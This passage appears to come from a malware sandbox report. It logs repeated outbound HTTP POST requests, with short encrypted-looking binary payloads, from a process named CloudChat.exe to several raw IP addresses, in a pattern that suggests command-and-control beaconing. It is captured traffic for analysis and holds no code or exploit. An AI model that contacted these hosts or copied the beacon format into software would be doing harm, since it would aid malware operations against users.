Sep 30, 2024 12:20:51.167467117 CEST	222	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.175:80
Sep 30, 2024 12:20:51.172317028 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 30 ce f7 ea e2 8b fa 66 4c 00 00 00 ed 35 cd ee 1b 4b 59 b7 0f f5 ab 13 45 9a 6d 27 23 8d ac da e6 fb 22 62 4c 1b 2d ed eb 64 b8 0b de 30 a7 f6 23 00 86 69 95 c5 b6 b9 9b ce 8d d2 1b 74 66 25 e0 e4 13 f6 e3 18 4d b6 07 ed Data Ascii: 0fL5KYEm'#"bL-d0#itf%MT~b!uRYt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49855	66.228.63.21	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:51.287924051 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.21:80
Sep 30, 2024 12:20:51.294418097 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 c0 15 09 23 39 8e fa 66 34 00 00 00 ed 35 cd ee 0e 1b d5 c7 42 0b 60 e3 17 8a f8 15 3e fd 5e 00 67 21 e9 de 03 1e 07 c6 12 81 39 cb 33 9d e6 67 0e 41 da 4c 7f 0a 58 94 ef dd 51 1a ca e3 b7 00 Data Ascii: #9f45B`>^g!93gALXQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49859	139.144.164.192	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:51.413233042 CEST	225	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 104 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.192:80
Sep 30, 2024 12:20:51.418483973 CEST	104	OUT	Data Raw: 00 00 00 00 00 00 00 00 84 9e d9 40 8f 90 fa 66 54 00 00 00 ed 35 cd ee 1e 22 e8 d7 ed 28 19 50 de e1 c9 9c 62 9a 56 2d 9e 2e f0 50 b3 b6 55 c5 3c 59 1d e5 f6 18 9d 00 d6 b4 65 16 a0 06 a7 a0 ce a5 93 cf 67 89 c7 82 1e fd 25 24 ad 33 9a 99 04 5d Data Ascii: @fT5"(PbV-.PU<Yeg%$3]TW(m1#l5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49862	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:51.495918989 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:20:51.501548052 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 34 87 35 34 e5 92 fa 66 4c 00 00 00 ed 35 cd ee 19 e7 26 3a a5 5a 91 95 1c 6c a8 8d ab 7e d9 57 89 26 b3 08 c5 71 36 5c 6c 78 00 00 32 6d d8 73 74 ca 1b 61 2d bc 1f bd 96 40 c7 63 19 e5 fc 49 af e8 79 e9 15 1b ba 3f e3 ac Data Ascii: 454fL5&:Zl~W&q6\lx2msta-@cIy?R7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49865	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:51.694139004 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 88 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:20:51.698962927 CEST	88	OUT	Data Raw: 00 00 00 00 00 00 00 00 ec 84 72 dd 84 7b fa 66 44 00 00 00 ed 35 cd ee 14 2e f9 16 23 86 8c 98 47 dc d7 ee 3c 57 11 ab ea 13 f6 2d 3a 00 00 00 c2 07 89 81 f8 ae a3 98 c3 06 55 72 9e db eb 11 14 4c 02 47 3b 15 66 23 8b 37 e0 2f 6a d1 10 71 3f 5a Data Ascii: r{fD5.#G<W-:UrLG;f#7/jq?Z*h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49870	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:52.295912981 CEST	225	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 104 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:20:52.301419973 CEST	104	OUT	Data Raw: 00 00 00 00 00 00 00 00 3c cb 95 85 85 89 fa 66 54 00 00 00 ed 35 cd ee 1d 15 6a 98 23 f6 de 15 f5 c8 56 5d 0f 69 86 14 64 00 28 1a 43 cf 14 77 a2 2c 47 7a 1b a6 00 00 42 e3 59 fc 0a a5 ab 7b 2b ec b9 46 e1 6a 0c 24 1d ba 2e ea 0b fe f1 89 bd 12 Data Ascii: <fT5j#V]id(Cw,GzBY{+Fj$.Nk5b=h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49878	66.228.63.175	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:52.560688972 CEST	222	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.175:80
Sep 30, 2024 12:20:52.565521002 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 b8 5b d8 7d 2f 8e fa 66 34 00 00 00 ed 35 cd ee 0e 3d df dc af 28 b7 57 d2 8c 6b c2 39 7d ab 00 04 0c d8 86 e6 f0 d4 cf 65 a7 cb dc 8d f6 04 ce 0e 9c 71 2b bf ec 32 ac df fe 0d d5 fa 9b 45 00 Data Ascii: [}/f45=(Wk9}eq+2E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49881	66.228.63.21	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:52.634994030 CEST	222	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 104 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.21:80
Sep 30, 2024 12:20:52.639892101 CEST	104	OUT	Data Raw: 00 00 00 00 00 00 00 00 e8 81 28 51 84 90 fa 66 54 00 00 00 ed 35 cd ee 1c 38 50 40 ec d8 48 1b ff d8 7f bd ff 53 c2 d7 c1 6f c8 25 06 b7 ef 4f 4a 8e f4 43 f1 00 00 00 7e 15 05 1b 48 d6 47 b6 cc 48 17 ba 3c 50 dd c2 1c 86 b3 61 53 47 f7 94 18 e5 Data Ascii: (QfT58P@HSo%OJC~HGH<PaSGGX4g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49885	139.144.164.192	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:52.809767962 CEST	225	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 104 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.192:80
Sep 30, 2024 12:20:52.814713001 CEST	104	OUT	Data Raw: 00 00 00 00 00 00 00 00 f4 21 8b 6e 84 90 fa 66 54 00 00 00 ed 35 cd ee 1c 1e 3b 48 77 55 9f d7 76 10 b1 b9 c6 4b 5e 39 ea 26 fc 6a 42 32 ab 93 a6 2e e3 bd e8 00 00 00 19 a1 4f 39 c7 a2 19 c8 0e 13 3d 1a 51 af d8 02 1c 91 b4 a5 a7 9d 68 a9 3e 91 Data Ascii: !nfT5;HwUvK^9&jB2.O9=Qh>>pcU0:bq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49888	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:52.836884022 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 64 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:20:52.841665030 CEST	64	OUT	Data Raw: 00 00 00 00 00 00 00 00 28 78 b1 1a d9 92 fa 66 2c 00 00 00 ed 35 cd ee 08 58 95 87 8d 5e b2 c8 83 00 00 00 54 d7 63 67 74 30 dc 30 9a 75 d9 f6 48 ce 34 38 08 90 25 80 3f 48 d4 c2 42 00 00 00 Data Ascii: (xf,5X^Tcgt00uH48%?HB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49890	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:52.916055918 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:20:52.920945883 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 a4 50 ba 9c 2d 95 fa 66 4c 00 00 00 ed 35 cd ee 1a 20 3e b9 db 77 6d 58 0f 07 3a 75 ea a0 93 eb fa 56 65 65 a4 04 09 39 c3 22 2d 00 60 68 9e fb f2 02 85 9f 87 cb fd f5 06 89 cd 33 1a 1f 79 57 cc 54 94 cd a2 bd 4a de c0 bf Data Ascii: P-fL5 >wmX:uVee9"-`h3yWTJ}/"Wxd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49894	45.79.244.41	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:52.946127892 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 45.79.244.41:80
Sep 30, 2024 12:20:52.950918913 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 b4 16 6a a4 2d 95 fa 66 4c 00 00 00 ed 35 cd ee 1a 16 f6 39 c6 8a 98 ef bf 04 45 1f 91 b7 5f ab ca 83 08 34 c1 69 7c 52 df fb 75 00 a9 9c 4e 1a b5 c2 74 e5 57 4e 21 63 9d 4b 46 04 1a 33 78 2d 70 cc 5c 9f 24 0d 58 e5 5a 50 Data Ascii: j-fL59E_4i\|RuNtWN!cKF3x-p\$XZP:2>^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49896	66.228.63.175	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:53.057261944 CEST	223	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 104 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.175:80
Sep 30, 2024 12:20:53.062047958 CEST	104	OUT	Data Raw: 00 00 00 00 00 00 00 00 bc 94 d4 12 82 97 fa 66 54 00 00 00 ed 35 cd ee 1e 39 6b 15 a8 e1 a8 4f d5 39 a4 2d 28 33 4f 26 a5 18 d0 80 2d a0 8f 3e d5 fd 70 b1 c9 38 f4 00 59 7a 65 c6 5e 6f ec 14 2a a9 3a 48 23 65 36 bc 1e 1d 7c 23 76 63 07 28 9c 03 Data Ascii: fT59kO9-(3O&->p8Yze^o*:H#e6\|#vc(b~PZ9.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49901	66.228.63.21	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:53.182653904 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.21:80
Sep 30, 2024 12:20:53.187527895 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 30 a1 88 62 d6 99 fa 66 34 00 00 00 ed 35 cd ee 0c 83 4a 46 df 74 69 86 57 88 09 22 c9 00 00 00 e4 d0 a1 36 ad 10 77 d5 fd 15 56 ee b1 01 3b f4 0c 41 a2 28 79 1f 34 0d 4a f0 64 2b 92 00 00 00 Data Ascii: 0bf45JFtiW"6wV;A(y4Jd+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49904	139.144.164.192	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:53.292867899 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 80 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.192:80
Sep 30, 2024 12:20:53.297662020 CEST	80	OUT	Data Raw: 00 00 00 00 00 00 00 00 38 29 50 94 2a 9c fa 66 3c 00 00 00 ed 35 cd ee 13 a6 54 36 bd 58 96 58 a8 a8 85 44 73 3c c3 38 81 f3 37 08 23 2c a7 85 9c 24 32 c7 51 fb 01 c1 c7 88 58 00 13 57 91 51 24 2a 3d a9 16 8c 4b ee c0 e0 2a 5d a4 bd 0a 61 Data Ascii: 8)Pf<5T6XXDs<87#,$2QXWQ$=K*]a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49907	45.79.244.41	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:53.615766048 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 45.79.244.41:80
Sep 30, 2024 12:20:53.620580912 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 38 7e 93 de 7e 9e fa 66 4c 00 00 00 ed 35 cd ee 1a b3 46 a5 c5 e1 fe 77 54 78 5e 59 db 57 8b ce 3c 0f 69 6f 5f cd 9c 3e 13 e2 da 00 a4 85 26 74 a7 86 f2 8c 44 d2 04 83 f2 dc d4 6b 1a 51 35 21 f4 ab e8 1e 70 6d 2a 32 23 6a Data Ascii: 8~~fL5FwTx^YW<io_>&tDkQ5!pm*2#j{j_S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49910	66.228.63.175	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:53.659928083 CEST	222	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 64 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.175:80
Sep 30, 2024 12:20:53.664709091 CEST	64	OUT	Data Raw: 00 00 00 00 00 00 00 00 e0 84 e4 9a d2 a0 fa 66 2c 00 00 00 ed 35 cd ee 0b 15 71 f9 ca b3 10 27 70 20 65 ae 1a 28 cb 1a 7d d5 59 e5 cf 6a 3a 71 bb 89 fe de 0b 15 ea 9f 7c 42 4a 8d ff 2e f4 2c Data Ascii: f,5q'p e(}Yj:q\|BJ.,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49914	66.228.63.21	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:53.789252043 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 64 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.21:80
Sep 30, 2024 12:20:53.802220106 CEST	64	OUT	Data Raw: 00 00 00 00 00 00 00 00 20 b1 f0 4f 26 a3 fa 66 2c 00 00 00 ed 35 cd ee 09 6e eb 72 98 42 c3 5f c3 b6 00 00 2c 5d ce d8 a4 1e 5b 22 c9 1b 90 16 89 a0 e9 34 09 5d 5c e5 69 71 46 cd 40 e0 00 00 Data Ascii: O&f,5nrB_,]["4]\iqF@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49917	139.144.164.192	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:53.886888027 CEST	225	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 104 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.192:80
Sep 30, 2024 12:20:53.897572041 CEST	104	OUT	Data Raw: 00 00 00 00 00 00 00 00 bc e2 0c df 79 a5 fa 66 54 00 00 00 ed 35 cd ee 1e fb 31 9b da 8b f4 98 62 39 bd b6 de 6a 49 6a f9 a3 ef 3e 5f c7 78 9f 1b ed 36 b8 0b 4b df 00 1c 49 8a d3 b2 06 22 74 1d d3 f7 b7 70 92 61 07 1e b9 61 bd 36 0e 73 11 e2 94 Data Ascii: yfT51b9jIj>_x6KI"tpaa6swj;kI1VJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49921	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:53.995213985 CEST	225	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 104 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:20:54.006984949 CEST	104	OUT	Data Raw: 00 00 00 00 00 00 00 00 f4 e9 e0 fa 79 a5 fa 66 54 00 00 00 ed 35 cd ee 1e f1 02 d1 dc 84 dc 5f ca ae 40 17 53 a5 43 37 2f 7d 74 51 d6 72 1b c4 27 c1 2a 16 3b 0f 79 00 ec 4d c3 99 d8 26 73 77 1c 41 b0 59 2e da 46 08 1e cd 26 51 46 49 ee 3a ed ed Data Ascii: yfT5_@SC7/}tQr'*;yM&swAY.F&QFI:n&]w1FEdq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49924	45.79.244.41	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:54.099263906 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 45.79.244.41:80
Sep 30, 2024 12:20:54.106997967 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 28 af be 6c cd a7 fa 66 34 00 00 00 ed 35 cd ee 0c 9c 52 d3 4d d5 56 67 93 49 6a 17 8a 00 00 00 79 13 20 55 1f ef d4 79 0e 87 70 e3 55 e3 2d 4d 0c 35 c8 ba 96 2f 13 06 77 29 79 0f 15 00 00 00 Data Ascii: (lf45RMVgIjy UypU-M5/w)y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49928	66.228.63.175	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:54.211329937 CEST	222	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 64 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.175:80
Sep 30, 2024 12:20:54.218255043 CEST	64	OUT	Data Raw: 00 00 00 00 00 00 00 00 5c 2d b1 be 20 aa fa 66 2c 00 00 00 ed 35 cd ee 08 9f d1 32 47 37 21 cf a4 00 00 00 8c d4 0a 2f 90 7f d1 07 5a 41 5f a9 67 e2 a7 bb 08 14 70 e9 6b 81 5a 60 23 00 00 00 Data Ascii: \- f,52G7!/ZA_gpkZ`#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49931	66.228.63.21	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:54.313591957 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 88 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.21:80
Sep 30, 2024 12:20:54.318541050 CEST	88	OUT	Data Raw: 00 00 00 00 00 00 00 00 f4 92 b4 ed 73 ac fa 66 44 00 00 00 ed 35 cd ee 16 10 07 5d 16 6d 72 5f 93 6c e2 76 15 b6 f5 97 ad 00 43 ec a8 e1 ba 00 ad a2 60 d0 30 78 a3 0a d3 65 29 f2 eb 88 9d 2f 16 8e f5 d9 fa cd 9e 20 be 0b 05 d1 2e e4 44 60 a2 ae Data Ascii: sfD5]mr_lvC`0xe)/ .D`6p\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49934	139.144.164.192	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:54.418261051 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.192:80
Sep 30, 2024 12:20:54.423177004 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 1c bf 9e 07 c7 ae fa 66 34 00 00 00 ed 35 cd ee 0d 26 62 64 3e ce 26 33 89 0d f3 fb 93 9d 00 00 9f 5a 17 66 49 6b e7 e1 b0 cb e8 74 eb ae 2f da 0d 83 23 22 27 f3 e2 48 c4 e3 73 d4 ad b4 00 00 Data Ascii: f45&bd>&3ZfIkt/#"'Hs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49938	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:54.531889915 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:20:54.536788940 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 28 88 6d 02 1a b1 fa 66 34 00 00 00 ed 35 cd ee 0e c0 88 6d 5f 2b af 09 8e be 62 90 9b 70 42 00 86 73 b1 d1 30 6a 88 90 e4 e5 2e 1c 81 fa 89 7d 0e aa ab 1d 2f 12 5a f2 67 56 18 ca 09 d7 e3 00 Data Ascii: (mf45m_+bpBs0j.}/ZgV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49940	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:54.564511061 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:20:54.569484949 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 24 75 fe 0a 1a b1 fa 66 34 00 00 00 ed 35 cd ee 0e 66 b3 36 e0 3a 96 e4 26 a3 78 60 6c 12 e3 00 89 71 6d a3 a9 3f ad 4d f1 bb d7 b4 e2 1a 58 57 0e cc 67 44 9e 4e 11 34 ff 6e 86 47 a0 1f c1 00 Data Ascii: $uf45f6:&x`lqm?MXWgDN4nG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49944	45.79.244.41	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:54.645569086 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 64 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 45.79.244.41:80
Sep 30, 2024 12:20:54.652652979 CEST	64	OUT	Data Raw: 00 00 00 00 00 00 00 00 44 72 5d dc 6c b3 fa 66 2c 00 00 00 ed 35 cd ee 08 48 c4 0a 7a af 2d df 5d 00 00 00 91 95 1f 34 59 45 75 85 3e c8 4e 65 20 ba d0 24 08 2e 50 bb 89 59 41 48 22 00 00 00 Data Ascii: Dr]lf,5Hz-]4YEu>Ne $.PYAH"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49947	66.228.63.175	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:54.754744053 CEST	222	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.175:80
Sep 30, 2024 12:20:54.759852886 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 54 3e cc 96 bf b5 fa 66 34 00 00 00 ed 35 cd ee 0d 1d 61 87 e4 25 f0 f7 59 8f 46 d3 ba ef 00 00 88 d9 9b 72 14 1b fc ce 70 cc 64 96 f3 b9 2a ac 0d 7b 48 40 50 34 1a d1 fa 1c 5f c1 c4 59 00 00 Data Ascii: T>f45a%YFrpd*{H@P4_Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49951	66.228.63.21	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:54.865951061 CEST	222	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 104 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.21:80
Sep 30, 2024 12:20:54.871218920 CEST	104	OUT	Data Raw: 00 00 00 00 00 00 00 00 20 30 ff 30 12 b8 fa 66 54 00 00 00 ed 35 cd ee 1e d6 78 22 f8 e6 8b 87 54 ae 26 ad f1 5b e5 34 e8 42 c1 30 7b ab ec 46 de a6 fd a1 5a 31 fc 00 6d e4 be 6e 25 e6 83 d4 14 81 d2 9b bd 05 3c 94 1e 85 79 ac 05 cd aa 4b a0 63 Data Ascii: 00fT5x"T&[4B0{FZ1mn%<yKc8C3EUJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49954	139.144.164.192	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:54.977024078 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.192:80
